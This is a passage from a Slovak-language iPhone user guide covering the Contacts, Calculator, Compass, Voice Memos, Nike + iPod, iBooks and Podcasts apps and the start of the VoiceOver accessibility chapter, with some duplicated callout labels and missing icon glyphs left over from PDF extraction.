Nastavenie vizitky Moje info: Prejdite do Nastavenia > Mail, kontakty, kalendáre, klepnite na
Moje info a vyberte vizitku so svojim menom a informáciami. Vizitku Moje info používa Siri
a ďalšie aplikácie. Pomocou polí Súvisiaci ľudia definujte svoj vzťah s kontaktami, takže Siri
bude vedieť reagovať na vaše žiadosti typu „call my sister“.
Vyhľadanie kontaktov: Klepnite na vyhľadávacie pole vo vrchnej časti zoznamu kontaktov
a zadajte hľadané slovo. Kontakty môžete vyhľadávať aj z plochy. Viac v časti Vyhľadávanie na
strane 29.
Zdieľanie kontaktu: Klepnite na kontakt a potom na Zdieľať kontakt. Kontaktné informácie
môžete odoslať prostredníctvom emailu alebo správ.
Pridanie kontaktu: Klepnite na . Nemôžete pridávať kontakty do adresára, ktorý si môžete
len prezerať, ako napríklad Microsoft Exchange Global Address List.
Pridanie kontaktu do zoznamu Obľúbené: Vyberte kontakt, rolovaním prejdite nadol a
klepnite na tlačidlo Pridať k obľúb. Zoznam Obľúbené využíva funkcia Nerušiť. Viac v časti
Funkcia Nerušiť a hlásenia na strane 138.
Pridanie telefónneho čísla do aplikácie Kontakty počas vytáčania: V časti Telefón klepnite
na Klávesnica, zadajte číslo a potom klepnite na . Potom klepnite na Vytvoriť nový kontakt
alebo na Pridať ku kontaktu a vyberte kontakt.
KontaktyKapitola 25 Kontakty 105
Pridanie aktuálneho volajúceho do aplikácie Kontakty: Klepnite na Telefón, klepnite
na Posledné a potom klepnite na vedľa čísla. Potom klepnite na Vytvoriť nový kontakt,
prípadne klepnite na „Pridať ku kontaktu“ a vyberte kontakt.
Vymazanie kontaktu: Vyberte kontakt a klepnite na Upraviť. Klepnite na Vymazať kontakt
v spodnej časti obrazovky.
Úprava kontaktu: Vyberte kontakt a klepnite na Upraviť. Môžete vykonať nasledovné:
• Pridať nového pole: Klepnite na a následne si zvoľte alebo zadajte popis poľa.
• Zmeniť popis poľa: Klepnite na popis a vyberte iný popis. Ak chcete pridať nové pole,
klepnite na Pridať popis.
• Zmeniť zvonenie lebo text správy kontaktu: Klepnite na pole zvonenie alebo zvuk správy
a vyberte nový zvuk. Ak chcete kontaktu zmeniť predvolené zvonenie, prejdite do
Nastavenia > Zvuky.
• Zmeniť vibrovanie pri prijatí hovoru alebo správy od kontaktu: Klepnite na pole vibrovanie
pre zvonenie alebo zvuk správy a vyberte vibrovanie. Ak pole vibrovanie nie je zobrazené,
klepnite najprv na Upraviť a pridajte ho. Informácie o vytváraní vlastných vibrovaní nájdete v
časti Zvuky na strane 145.
• Priradiť fotku ku kontaktu: Klepnite na Pridať fotku. Môžete spraviť fotku pomocou
fotoaparátu alebo použiť existujúcu fotku.
• Aktualizácia kontaktných údajov pomocou Twittera: Prejdite do Nastavenia > Twitter >
Aktualizovať kontakty. Kontakty budú zlúčené na základe emailových adries. Vizitky
priateľov, ktorých sledujete, budú aktualizované použitím fotky a užívateľského mena
z Twittera.
• Aktualizácia kontaktných údajov pomocou Facebooku: Prejdite do Nastavenia > Facebook >
Aktualizovať kontakty. Kontakty budú zlúčené na základe emailových adries. Vizitky
priateľov, ktorých máte vo svojom zozname priateľov na Facebooku, budú aktualizované
použitím fotky a užívateľského mena z Facebooku.
• Vloženie pauzy do telefónneho čísla: Klepnite na a potom klepnite na Pauza alebo Čakať.
Každá pauza trvá dve sekundy. Každý príkaz Čakať zastaví vytáčanie až do opätovného
klepnutia na Vytočiť. Tieto príkazy môžete používať napríklad na automatické vytáčanie
klapky alebo hesla.
Pridávanie kontaktov
Okrem pridania kontaktov na iPhone ich môžete pridať aj nasledovnými spôsobmi:
• Použite svoje iCloud kontakty: Prejdite do Nastavenia > iCloud a potom zapnite
možnosť Kontakty.
• Naimportujte svojich priateľov z Facebooku: Prejdite do Nastavenia > Facebook a v zozname
Povoliť týmto aplikáciám používať váš účet zapnite Kontakty. Takto vytvoríte v aplikácii
Kontakty skupinu Facebook.
• Nastavte prístup k adresáru Microsoft Exchange Global Address List: Prejdite do Nastavenia >
Mail, kontakty, kalendáre, klepnite na svoj Exchange účet a zapnite Kontakty.
• Nastavenie účtu LDAP alebo CardDAV a prístup k firemným alebo školským adresárom: Prejdite
do Nastavenia > Mail, kontakty, kalendáre > Pridať účet > Iný. Následne klepnite na „Pridať
LDAP účet“ alebo „Pridať CardDAV účet“ a zadajte informácie o účte.
• Synchronizujte kontakty zo svojho počítača a účtov Yahoo! alebo Google: V aplikácii iTunes
nainštalovanej na počítači zapnite v paneli informácií zariadenia synchronizáciu kontaktov.
Ďalšie informácie nájdete v pomocníkovi pre iTunes.Kapitola 25 Kontakty 106
• Naimportujte kontakty zo SIM karty (GSM): Prejdite do Nastavenia > Mail, kontakty,
kalendáre > Importovať zo SIM karty.
• Naimportujte kontakty zo súboru vCard: Klepnite na prílohu .vcf v emaile, správe alebo na
webovej stránke.
Prehľadanie GAL, CardDAV alebo LDAP servery: Klepnite na Skupiny, potom na adresár, ktorý
chcete prehľadávať a zadajte slová na vyhľadanie.
Uloženie kontaktných údajov zo serverov GAL, LDAP alebo CardDAV: Vyhľadajte kontakt,
ktorý chcete pridať a potom klepnite na Pridať kontakt.
Zobrazenie a skrytie skupín: Klepnite na Skupiny a potom vyberte skupiny, ktoré chcete
zobraziť. Toto tlačidlo sa zobrazí len v prípade, ak máte viac ako jeden zdroj kontaktov.
Ak máte kontakty z viacerých zdrojov, môžete mať pre jednu osobu viac záznamov. Ak chcete
predísť zobrazovaniu prebytočných kontaktov v zozname všetkých kontaktov, kontakty
s rovnakým krstným menom a priezviskom sú prepojené a zobrazujú sa ako jediný jednotný
kontakt. Pri prezeraní jednotného kontaktu sa vo vrchnej časti obrazovky zobrazí nadpis
Jednotné info.
Prepojenie kontaktu: Upravte kontakt. Klepnite na Upraviť, potom klepnite na a vyberte
kontakt, ktorý chcete prepojiť. Prepojené kontakty nie sú zlúčené. Ak upravíte informácie
v jednotnom kontakte alebo doň pridáte informácie, budú tieto zmeny prekopírované do
každého zdrojového účtu, v ktorom tieto informácie existujú.
Ak prepojíte kontakty, ktoré nemajú rovnaké krstné meno alebo priezvisko, mená
individuálnych vizitiek nebudú zmenené. Na jednotnej vizitke sa však zobrazí len jedno meno.
Ak chcete vybrať meno, ktoré sa zobrazí pri prezeraní jednotnej vizitky, klepnite na prepojenú
vizitku s preferovaným menom a potom klepnite na Použiť toto meno pre jednotnú vizitku.
Zobrazenie kontaktných údajov zo zdrojového účtu: Klepnite na jeden zo zdrojových účtov.
Rozpojenie kontaktu: Klepnite na Upraviť, potom klepnite na a nakoniec na Rozpojiť.
Nastavenia aplikácie Kontakty
Ak chcete upraviť nastavenia aplikácie Kontakty, prejdite do Nastavenia > Mail, kontakty,
kalendáre. Dostupné možnosti vám umožňujú:
• Meniť spôsob usporiadania kontaktov
• Zobrazovať kontakty podľa krstného mena alebo priezviska
• Nastaviť predvolený účet pre nové kontakty
• Nastaviť vizitku Moje info26
107
Používajte aplikáciu Kalkulačka rovnakým spôsobom, akým používate štandardnú kalkulačku.
Pridať číslo
do pamäte.
Pridať číslo
do pamäte.
Vyčistiť pamäť. Vyčistiť pamäť.
Vyčistiť displej. Vyčistiť displej.
Odčítať číslo
od pamäte.
Odčítať číslo
od pamäte.
Získať číslo z
pamäte (biely kruh
indikuje číslo
uložené v pamäti).
Získať číslo z
pamäte (biely kruh
indikuje číslo
uložené v pamäti).
Používanie vedeckej kalkulačky: Otočte iPhone do orientácie na šírku.
Kalkulačka27
108
Stanovenie smeru, ktorým je otočený váš iPhone: Podržte iPhone vo vodorovnej polohe
(displej by mal byť v jednej rovine so zemou).
Ak sú pri zapnutí kompasu vypnuté lokalizačné služby, môžete byť požiadaný o ich zapnutie.
Kompas môžete používať aj s vypnutými lokalizačnými službami. Viac v časti Súkromie na
strane 146.
Dôležité: Presnosť kompasu môže byť ovplyvnená magnetickým rušením alebo rušením
prostredia. Dokonca aj magnety v slúchadlách iPhonu môžu spôsobiť odchýlku. Digitálny
kompas používajte len ako pomôcku pri základnej navigácii. Nespoliehajte sa naň pre presnom
určovaní polohy, vzdialenosti alebo smeru.
Kompas28
109
V skratke
Vďaka aplikácii Diktafón môžete používať iPhone ako prenosné zariadenie určené na
nahrávanie zvuku pomocou vstavaného mikrofónu, mikrofónu iPhone slúchadiel alebo
Bluetooth náhlavnej sady, prípadne pomocou akéhokoľvek iného podporovaného
externého mikrofónu.
Spustiť, pozastaviť alebo
zastaviť nahrávanie.
Spustiť, pozastaviť alebo
zastaviť nahrávanie.
Úroveň nahrávania Úroveň nahrávania
Zobraziť zoznam
nahrávok.
Zobraziť zoznam
nahrávok.
Spustenie nahrávania: Klepnite na alebo stlačte stredné tlačidlo na náhlavnej sade.
Klepnite na pre pozastavenie, alebo na pre zastavenie nahrávania, prípadne stlačte stredné
tlačidlo na svojej náhlavnej sade.
Nahrávky vytvorené pomocou vstavaného mikrofónu sú v monofónnej kvalite, ale
môžete nahrávať aj v stereofónnnej kvalite pomocou externého mikrofónu, ktorý funguje
s konektorom pre slúchadlá iPhonu, ako aj s Lightning konektorom (iPhone 5) alebo Dock
konektorom (staršie modely iPhonov). Hľadajte príslušenstvo označené logom Apple „Made for
iPhone“ (Vyrobené pre iPhone) alebo logom „Works with iPhone“ (Spolupracuje s iPhonom).
Úprava úrovne nahrávania: Posuňte mikrofón bližšie k nahrávanému objektu, prípadne ho
posuňte ďalej od tohto objektu. Ak chcete dosiahnuť najlepšiu kvalitu nahrávania, mala by sa
najvyššia úroveň hlasitosti na indikátore hlasitosti pohybovať medzi –3 dB a 0 dB.
Prehranie alebo stlmenie tónu štart/stop: Pomocou tlačidiel hlasitosti iPhonu môžete
hlasitosť celkom znížiť.
DiktafónKapitola 28 Diktafón 110
Používanie inej aplikácie počas nahrávania: Stlačte tlačidlo Domov a otvorte aplikáciu. Ak
sa chcete vrátiť do aplikácie Diktafón, klepnite na červenú lištu v hornej časti obrazovky.
Prehratie nahrávky: Klepnite na , klepnite na nahrávku a potom na . Pre pozastavenie
prehrávania klepnite na .
Orezať alebo upraviť
popis nahrávky.
Orezať alebo upraviť
popis nahrávky.
Vypočutie si nahrávky. Vypočutie si nahrávky.
Pripojiť nahrávku k
emailovej alebo
textovej správe.
Pripojiť nahrávku k
emailovej alebo
textovej správe.
Potiahnite pre prechod
na ľubovoľnú časť.
Potiahnite pre prechod
na ľubovoľnú časť.
Prepínanie medzi reproduktorom a prijímačom. Prepínanie medzi reproduktorom a prijímačom.
Orezanie nahrávky: Klepnite na vedľa nahrávky a potom klepnite na Orezať. Potiahnite
okraje audiorozsahu a potom klepnite na pre prehratie ukážky. Ak je to potrebné, upravte
rozsah a potom uložte orezanú nahrávku klepnutím na Orezať nahrávku. Orezané časti nie je
možné obnoviť.
Zdieľanie nahrávok s vaším počítačom
Aplikácia iTunes synchronizuje nahrávky s vašou knižnicou iTunes po pripojení iPhonu
k počítaču.
Nahrávky zostanú po synchronizácii s iTunes uložené v aplikácii Diktafón, až kým ich
nevymažete. Ak vymažete nahrávku z iPhonu, nebude vymazaná z playlistu Nahrávky v iTunes.
Ak však vymažete nahrávku z iTunes, táto bude vymazaná z iPhonu pri najbližšej synchronizácii
s iTunes.
Synchronizácia nahrávok s iTunes: Pripojte iPhone k svojmu počítaču a v zozname zariadení
v iTunes vyberte iPhone. Vo vrchnej časti obrazovky vyberte Hudba (medzi Aplikácie a Filmy),
vyberte Synchronizovať hudbu, vyberte možnosť Zahrnúť nahrávky a kliknite na Použiť.
Nahrávky z iPhonu sa zobrazia v playliste Nahrávky v iTunes.29
111
Spolu so senzorom Nike + iPod (predávané samostatne) poskytuje aplikácia Nike + iPod
zvukovú odozvu na vašu rýchlosť, prebehnutú vzdialenosť, čas a spálené kalórie počas
prechádzky alebo behu.
Prechádzať históriu
tréningov.
Prechádzať históriu
tréningov.
Kalibrovať na základe
posledného tréningu.
Kalibrovať na základe
posledného tréningu.
Vybrať štandardný tréning. Vybrať štandardný tréning.
Vybrať alebo vytvoriť
vlastný tréning.
Vybrať alebo vytvoriť
vlastný tréning.
Vybrať typ tréningu. Vybrať typ tréningu.
Ikona aplikácie Nike + iPod sa na ploche zobrazí až po jej zapnutí.
Zapnutie Nike + iPod: Prejdite do Nastavenia > Nike + iPod.
Zariadenie Nike + iPod získava tréningové údaje z bezdrôtového senzora (predáva sa osobitne),
ktorý sa pripája k bežeckej obuvi. Senzor musíte pred prvým použitím prepojiť s iPhonom.
Prepojenie senzora s iPhonom: Vložte senzor do svojej topánky a potom prejdite do
Nastavenia > Nike + iPod > Senzor.
Spustenie tréningu: Klepnite na Tréningy a vyberte si tréning.
• Prerušenie tréningu: Zobuďte iPhone a klepnite na na zamknutej obrazovke. Ak ste
pripravení pokračovať, klepnite na .
• Ukončenie tréningu: Zobuďte iPhone, klepnite na a potom klepnite na Skončiť tréning.
Zmena nastavení tréningu: Prejdite do Nastavenia > Nike + iPod.
Kalibrácia Nike + iPod: Nahrajte tréning na trati so známou dĺžkou (minimálna dĺžka je
400 metrov). Potom po klepnutí na Skončiť tréning klepnite na Kalibrovať na obrazovke so
zhrnutím a zadajte skutočnú dĺžku trasy, ktorú ste práve prebehli alebo prešli.
Obnovenie predvolenej kalibrácie: Prejdite do Nastavenia > Nike + iPod.
Nike + iPodKapitola 29 Nike + iPod 112
Odosielanie tréningových dát na stránku nikeplus.com: S iPhonom pripojeným na internet
vyberte Nike + iPod, klepnite na História a potom klepnite na „Odoslať do Nike+“.
Zobrazenie tréningov na nikeplus.com: V Safari otvorte nikeplus.com, prihláste sa do svojho
účtu a postupujte podľa pokynov na obrazovke.30
113
V skratke
iBooks je aplikácia určená na čítanie a nakupovanie kníh. Stiahnite si z App Store bezplatnú
aplikáciu iBooks a čítajte akékoľvek knihy, vrátane klasiky a bestsellerov.
Prejsť na inú stranu. Prejsť na inú stranu.
Záložka Záložka
Obsah, záložky a poznámky Obsah, záložky a poznámky
iBooks je skvelá aplikácia určená na čítanie kníh a súborov vo formáte PDF. Stiahnite si z App
Store bezplatnú aplikáciu iBooks a potom si vo vstavanom obchode iBookstore sťahujte
akékoľvek knihy, vrátane klasiky a bestsellerov. Ak si chcete stiahnuť aplikáciu iBooks a používať
službu iBookstore, potrebujete pripojenie na internet a Apple ID.
Návšteva iBookstore: V iBooks klepnite na Obchod a môžete:
• Vyberať si knihy prechádzaním alebo vyhľadávaním
• Stiahnuť si ukážku knihy a zistiť, či sa vám páči
• Čítať a písať recenzie a zistiť, aké bestsellery sú dnes v móde
• Povedať o knižke priateľovi prostredníctvom emailu
Zakúpenie knihy: Nájdite požadovanú knihu, klepnite na jej cenu a potom si ju stiahnite
opätovným klepnutím na cenu.
Získanie informácií o knihe: Môžete si prečítať súhrnné informácie o knihe, prečítať si
recenzie a pred zakúpením si prečítať ukážku z knihy. Po zakúpení knihy môžete napísať svoju
vlastnú recenziu.
iBooksKapitola 30 iBooks 114
Stiahnutie už zakúpenej položky: Klepnite na „Purchased“ (Zakúpené). Knihu si môžete
stiahnuť počas prechádzania klepnutím na Stiahnuť na mieste, kde sa obvykle nachádza cena.
Cena knihy vám už nebude naúčtovaná. Ak chcete automaticky sťahovať položky zakúpené na
ostatných zariadeniach, prejdite do Nastavenia > iTunes a App Store.
Čítanie kníh
Čítanie kníh je jednoduché. Prejdite do knižnice a klepnite na knihu, ktorú si chcete prečítať. V
závislosti od obsahu a formátu má každá kniha určitú sadu funkcií. Niektoré funkcie popísané
nižšie nemusia byť k dispozícii v knihe, ktorú práve čítate.
Otvorenie knihy: Klepnite na knihu, ktorú chcete čítať. Ak ju nevidíte v knižnici, potiahnite prst
doľava alebo doprava a prezrite si ostatné zbierky.
• Zobrazenie ovládacích prvkov: Klepnite zhruba do stredu strany.
• Zväčšenie obrázka: Klepnite dvakrát na obrázok. V niektorých knihách si môžete zväčšovať
obrázky pomocou lupy, ktorú zobrazíte podržaním prsta na obrazovke.
• Prechod na konkrétnu stranu: Použite ovládacie prvky navigácie v spodnej časti obrazovky.
Môžete tiež klepnúť na , zadať číslo strany a vo výsledkoch vyhľadávania klepnúť na
číslo strany.
• Vyhľadanie slova v slovníku: Dvakrát klepnite na slovo, pomocou krajných bodov upravte
výber a potom v menu klepnite na Definovať. Definície nemusia byť dostupné pre
všetky jazyky.
• Zobrazenie obsahu: Klepnite na . V niektorých knihách môžete zobraziť obsah rozovretím
dvoch prstov.
• Pridanie alebo odstránenie záložky: Klepnite na . Ak chcete odstrániť záložku, klepnite znovu
na tento symbol. Pri zatvorení knihy nie je potrebné pridávať záložku, pretože aplikácia
iBooks si zapamätá miesto, kde ste knihu zatvorili. Môžete mať zároveň viacero záložiek – ak
chcete zobraziť všetky, klepnite na a potom klepnite na Záložky.
Pridanie poznámky v knihe: Do knihy môžete pridávať poznámky a zvýrazňovať jej časti.
• Pridanie zvýraznenia: Dvakrát klepnite na slovo, pomocou krajných bodov upravte výber,
potom klepnite na Zvýrazniť a vyberte farbu alebo podčiarknutie.
• Odstránenie zvýraznenia: Klepnite na zvýraznený text a potom klepnite na .
• Pridanie poznámky: Dvakrát klepnite na slovo, klepnite na Zvýrazniť a potom v menu
vyberte .
• Odstránenie poznámky: Vymažte text poznámky. Ak chcete odstrániť poznámku a jej
zvýraznenie, klepnite na zvýraznený text a potom na .
• Zobrazenie všetkých poznámok: Klepnite na a potom na Poznámky. Pre tlač poznámok
alebo ich odoslanie emailom klepnite na .
Zmena vzhľadu knihy: V niektorých knihách je možné zmeniť veľkosť a typ písma a
farbu stránok.
• Úprava veľkosti a typu písma: Klepnutím v blízkosti stredu strany zobrazte ovládacie prvky
a potom klepnite na . Klepnutím na Písma vyberte rez písma. V niektorých knihách je
možné zmeniť veľkosť písma iba ak je iPhone orientovaný na výšku.
• Zmena farby strany a textu: Klepnutím v blízkosti stredu strany zobrazte ovládacie prvky,
klepnite na a potom klepnite na Téma. Toto nastavenie bude použité na všetky knihy,
ktoré ho podporujú.Kapitola 30 iBooks 115
• Úprava jasu: Klepnutím v blízkosti stredu strany zobrazte ovládacie prvky a potom klepnite
na . Ak sa nezobrazuje , klepnite najprv na .
• Zapnutie alebo vypnutie zarovnania textu a delenia slov: Prejdite do Nastavenia > iBooks.
Niektoré PDF dokumenty a knihy nie je možné zarovnať ani v nich deliť slová.
Usporiadanie knižnice
Použite knižnicu na prezeranie a usporadúvanie vašich kníh a PDF dokumentov. Položky je
taktiež možné usporiadať do zbierok.
Podržte prst na knihe
pre zmenu usporiadania.
Podržte prst na knihe
pre zmenu usporiadania.
Zobraziť zbierky. Zobraziť zbierky.
Presunutie knihy alebo PDF dokumentu do zbierky: Klepnite na Upraviť. Vyberte položky,
ktoré chcete presunúť, klepnite na Presunúť a vyberte zbierku.
Prezeranie a spravovanie zbierok: Klepnutím na názov aktuálnej zbierky vo vrchnej časti
obrazovky, ako napríklad Knihy alebo PDF, zobrazte zoznam zbierok. Vstavané zbierky kníh
a PDF dokumentov nie je možné upravovať ani vymazávať.
Triedenie knižnice: Klepnutím na stavový riadok prejdite do vrchnej časti obrazovky, klepnite
na a v spodnej časti obrazovky vyberte jeden zo spôsobov radenia.
Vymazanie položky z knižnice: Klepnite na Upraviť a klepnutím označte položky určené
na vymazanie (zobrazí sa vedľa nich symbol zaškrtnutia). Klepnite na Vymazať. Po skončení
klepnite na Hotovo. Ak vymažete zakúpenú knihu, môžete si ju znovu stiahnuť v iBookstore,
v časti „Purchases“ (Zakúpené).
Vyhľadávanie kníh: Prejdite do knižnice. Klepnutím na stavový riadok prejdite do vrchnej časti
obrazovky a potom klepnite na . Prehľadávané sú názvy kníh a mená autorov.
Synchronizácia kníh a PDF dokumentov
Pomocou iTunes synchronizujte svoje knihy a PDF dokumenty medzi zariadením iPhone a
svojim počítačom. V iTunes môžete tiež kupovať knihy v obchode iTunes Store. Keď je iPhone
pripojený k počítaču, panel Knihy vám umožňuje vybrať si položky určené na synchronizáciu.
Do knižnice iTunes môžete pridať aj bezplatné knihy typu ePub a PDF dokumenty, ktoré
nájdete na webe.
Synchronizácia kníh alebo PDF dokumentov so zariadením iPhone: V iTunes
na svojom počítači vyberte Súbor > Pridať do knižnice a vyberte súbor. Následne
vykonajte synchronizáciu.Kapitola 30 iBooks 116
Pridanie knihy alebo PDF do iBooks bez synchronizácie: Ak kniha alebo PDF dokument
nie sú príliš veľké, môžete ich odoslať samým sebe emailom z počítača. Na zariadení iPhone
otvorte emailovú správu, podržte prst na prílohe a v zobrazenom menu vyberte možnosť
Otvoriť v iBooks.
Tlačenie a odosielanie PDF dokumentov emailom
Aplikácia iBooks umožňuje odosielať kópie PDF dokumentov emailom, ako aj tlač celého PDF
dokumentu alebo jeho časti na tlačiarni podporujúcej AirPrint.
Odoslanie PDF dokumentu emailom: Otvorte PDF, klepnite na a vyberte Odoslať emailom.
Tlač súboru PDF: Otvorte PDF, klepnite na a vyberte Tlačiť. Viac informácií nájdete v časti
Tlač pomocou funkcie AirPrint na strane 33.
Nastavenia iBooks
Aplikácia iBooks ukladá vaše zbierky, záložky, poznámky a informácie o aktuálnej strane
použitím vášho Apple ID, takže si môžete nerušene čítať knihy na všetkých svojich iOS
zariadeniach. iBooks ukladá informácie pre všetky knihy pri otvorení alebo ukončení aplikácie.
Jednotlivé knihy sú ukladané aj pri ich otvorení alebo zatvorení.
Vypnutie alebo zapnutie synchronizácie: Prejdite do Nastavenia > iBooks. Synchronizovať
môžete aj zbierky a záložky.
Niektoré knihy môžu mať prístup k videám alebo zvukovým súborom, ktoré sú uložené na
webe. Ak iPhone používa bezdrôtové dátové pripojenie, prehrávanie týchto súborov môže byť
spoplatnené operátorom.
Vypnutie alebo zapnutie prístupu k online videám alebo zvukovým súborom: Prejdite do
Nastavenia > iBooks > Online audio a video.
Zmena smeru otáčania strán po klepnutí na ľavý okraj: Prejdite do Nastavenia > iBooks >
Klepnutie na ľavý okraj.31
117
Stiahnite si v obchode App Store bezplatnú aplikáciu Podcasty a môžete prechádzať, odoberať
a prehrávať svoje obľúbené audio a videopodcasty.
Zobraziť podcasty
vo svojej knižnici.
Zobraziť podcasty
vo svojej knižnici.
Prechádzajte všetky dostupné podcasty. Prechádzajte všetky dostupné podcasty.
Klepnutím na
podcast zobrazte
dostupné epizódy.
Klepnutím na
podcast zobrazte
dostupné epizódy.
Prechádzajte a
prehrajte si ukážky z
najobľúbenejších
podcastov.
Prechádzajte a
prehrajte si ukážky z
najobľúbenejších
podcastov.
Rolovaním
prechádzajte celú
svoju knižnicu.
Rolovaním
prechádzajte celú
svoju knižnicu.
Zobraziť ovládanie
prehrávania.
Zobraziť ovládanie
prehrávania.
Získavanie podcastov:
• Prechádzanie celého katalógu: Klepnite na Katalóg a potom klepnite na ľubovoľný podcast,
ktorý vás zaujal.
• Prechádzanie najobľúbenejších podcastov: Klepnite na Top stanice (ak táto možnosť nie je
zobrazená, klepnite najprv na Knižnica). Potiahnutím prsta doprava alebo doľava zmeníte
kategóriu a potiahnutím nahor alebo nadol prechádzate aktuálnu kategóriu. Pre prehratie
ukážky poslednej epizódy klepnite na podcast, prípadne klepnite na pre zobrazenie
zoznamu epizód.
• Streamovanie epizódy: Klepnite na epizódu.
• Stiahnutie epizódy, ktorú si potom môžete prehrať aj bez pripojenia k Wi-Fi: Klepnite na vedľa
ľubovoľnej epizódy.
• Odoberanie podcastu kvôli automatickému sťahovaniu nových epizód: Ak prechádzate katalóg,
klepnite na podcast pre zobrazenie zoznamu epizód a potom klepnite na Odoberať. Ak ste
si už stiahli epizódu, klepnite na podcast vo svojej knižnici, potom naň klepnite ešte raz vo
vrchnej časti zoznamu epizód a zapnite odoberanie.
PodcastyKapitola 31 Podcasty 118
• Automatické získanie najnovšej epizódy odoberaného podcastu: Klepnite na podcast vo
svojej knižnici, potom naň klepnite ešte raz vo vrchnej časti zoznamu epizód a zapnite
automatické sťahovanie.
Ovládanie prehrávania zvuku: Všetky ovládacie prvky podcastu zobrazíte potiahnutím prsta
nahor na grafike aktuálne prehrávaného podcastu.
Prehrať
predošlú
epizódu.
Prehrať
predošlú
epizódu.
Zdieľať tento podcast. Zdieľať tento podcast.
Skok na ďalšiu
epizódu.
Skok na ďalšiu
epizódu.
Skok dopredu o 30
sekúnd.
Skok dopredu o 30
sekúnd.
Nastavenie časovača. Nastavenie časovača.
Potiahnutím indikátora
priebehu prehrávania
skočíte na inú časť
podcastu.
Potiahnutím indikátora
priebehu prehrávania
skočíte na inú časť
podcastu.
Potiahnutím nahor
alebo nadol zobrazíte
alebo skryjete
ovládanie.
Potiahnutím nahor
alebo nadol zobrazíte
alebo skryjete
ovládanie.
Úprava rýchlosti
prehrávania.
Úprava rýchlosti
prehrávania.
Ovládanie prehrávania videa: Počas prehrávania videopodcastu klepnite na obrazovku.32
119
Funkcie Prístupnosť
iPhone obsahuje nasledujúce funkcie prístupnosti:
• VoiceOver
• Presmerovanie audia
• Hlasová asistentka Siri
• Zväčšovanie
• Veľký text
• Prevrátenie farieb
• Funkcia Rozprávať výber
• Funkcia Rozprávať autotext
• Mono zvuk a vyváženie sterea
• Načúvacie prístroje a režim Načúvací prístroj
• Priraditeľné zvonenia a vibrácie
• Upozorňovanie bleskom
• Asistovaný prístup
• AssistiveTouch
• Podpora braillových displejov
• Prehrávanie textu skrytých titulkov
Zapínanie funkcií prístupnosti pomocou iPhonu: Prejdite do Nastavenia > Všeobecné >
Prístupnosť.
Zapínanie funkcií prístupnosti pomocou iTunes: Pripojte iPhone k svojmu počítaču a v
zozname zariadení v iTunes vyberte iPhone. Kliknite na Zhrnutie a v spodnej časti obrazovky so
zhrnutím kliknite na Nastaviť Univerzálny prístup.
Viac informácií o funkciách prístupnosti na iPhone nájdete na
adrese www.apple.com/accessibility.
Funkciu Veľký text je možné zapnúť alebo vypnúť len v nastaveniach na vašom iPhone. Viac v
časti Veľký text na strane 130.
VoiceOver
Funkcia VoiceOver nahlas popisuje dianie na obrazovke, takže môžete používať iPhone bez
toho, aby ste ho videli.
Funkcia VoiceOver popisuje každú položku na obrazovke, ktorú označíte. Ak na obrazovke
vyberiete nejakú položku, bude označená kurzorom VoiceOver (čierny obdĺžnik) a VoiceOver
prečíta jej názov alebo ju popíše.
PrístupnosťKapitola 32 Prístupnosť 120
Ak chcete, aby VoiceOver prečítal iné položky na obrazovke, dotknite sa obrazovky, prípadne
potiahnite prsty na obrazovke. Ak vyberiete text, VoiceOver ho prečíta. Ak zapnete funkciu
Hlasové nápovedy, VoiceOver môže vysloviť názov danej položky, a poskytnúť inštrukcie —
napríklad „klepnite dvakrát pre otvorenie“. Ak chcete interagovať s položkami na obrazovke,
ako sú tlačidlá alebo odkazy, použite gestá popísané v časti Gestá funkcie VoiceOver na
strane 122.
Ak prejdete na inú obrazovku, VoiceOver prehrá zvuk a potom označí a popíše prvú položku
na obrazovke (najčastejšie je to položka v ľavom hornom rohu). VoiceOver vás tiež informuje o
zmene orientácie displeja a odomknutí resp. uzamknutí obrazovky.
Poznámka: VoiceOver rozpráva jazykom vybraným v nastavení Medzinárodné. Jazyk môže byť
ovplyvnený nastavením formátu regiónu v Nastavenia > Všeobecné > Medzinárodné. Funkcia
VoiceOver je dostupná pre mnohé jazyky, nie však pre všetky.
Základy funkcie VoiceOver
Dôležité: Funkcia VoiceOver mení gestá, ktorými ovládate iPhone. Akonáhle je funkcia
VoiceOver zapnutá, musíte na ovládanie iPhonu používať gestá VoiceOver, dokonca aj keď
chcete vypnúť samotnú funkciu VoiceOver a pokračovať v normálnom režime.
Vypnutie a zapnutie funkcie VoiceOver: Prejdite do Nastavenia > Všeobecné > Prístupnosť >
VoiceOver. Vypnúť a zapnúť VoiceOver môžete aj trojitým stlačením tlačidla Domov. Viac v časti
Trojité stlačenie tlačidla Domov na strane 129.
Preskúmanie obrazovky: Prejdite prstom po displeji. VoiceOver vysloví každú položku, ktorej
sa dotknete. Zdvihnutím prsta ponecháte danú položku vybratú.
• Výber položky: Klepnite na položku alebo počas ťahania prsta cez danú položku
zdvihnite prst.
• Výber ďalšej alebo predošlej položky: Potiahnite jeden prst doľava alebo doprava. Poradie
položiek je zľava doprava, zhora nadol.
• Výber položky nad alebo pod: Pomocou rotora zapnite vertikálnu navigáciu a potom
potiahnite jeden prst nahor alebo nadol.
• Výber prvej alebo poslednej položky na obrazovke: Potiahnite nahor alebo nadol štyri prsty.
• Výber položky podľa jej názvu: Klepnutím trikrát dvoma prstami kdekoľvek na obrazovke
otvoríte Výber položky. Potom zadajte názov do vyhľadávacieho poľa, prípadne potiahnite
prst doprava alebo doľava pre prechádzanie zoznamu v abecednom poradí. Môžete tiež
klepnúť na register vpravo od zoznamu a potiahnutím nahor alebo nadol rýchlo prechádzať
položky v zozname.
• Zmena názvu vybratej položky (jej vyhľadávanie tak bude jednoduchšie): Podržte dva prsty
kdekoľvek na obrazovke.
• Prečítanie textu vybranej položky: Nastavte ovládanie rotora na znaky alebo slová a potom
potiahnite jeden prst nahor alebo nadol.
• Vypnutie alebo zapnutie funkcie hlasovej nápovedy: Prejdite do Nastavenia > Všeobecné >
Prístupnosť > VoiceOver.
• Použitie fonetického hláskovania: Prejdite do Nastavenia > Všeobecné > Prístupnosť >
VoiceOver > Použiť fonetiku.
• Čítanie celej obrazovky počnúc jej vrchnou časťou: Potiahnite nahor dva prsty.
• Čítanie od aktuálnej položky až na spodok obrazovky: Potiahnite nadol dva prsty.Kapitola 32 Prístupnosť 121
• Zastavenie čítania: Klepnite raz dvoma prstami. Ak chcete, aby rozprávanie pokračovalo,
znovu klepnite dvoma prstami. Rozprávanie bude pokračovať po označení ďalšej položky.
• Stíšenie funkcie VoiceOver: Klepnite trikrát tromi prstami. Ak chcete zrušiť stíšenie, znovu
klepnite trikrát troma prstami. Ak chcete vypnúť len zvuky funkcie VoiceOver, prepnite
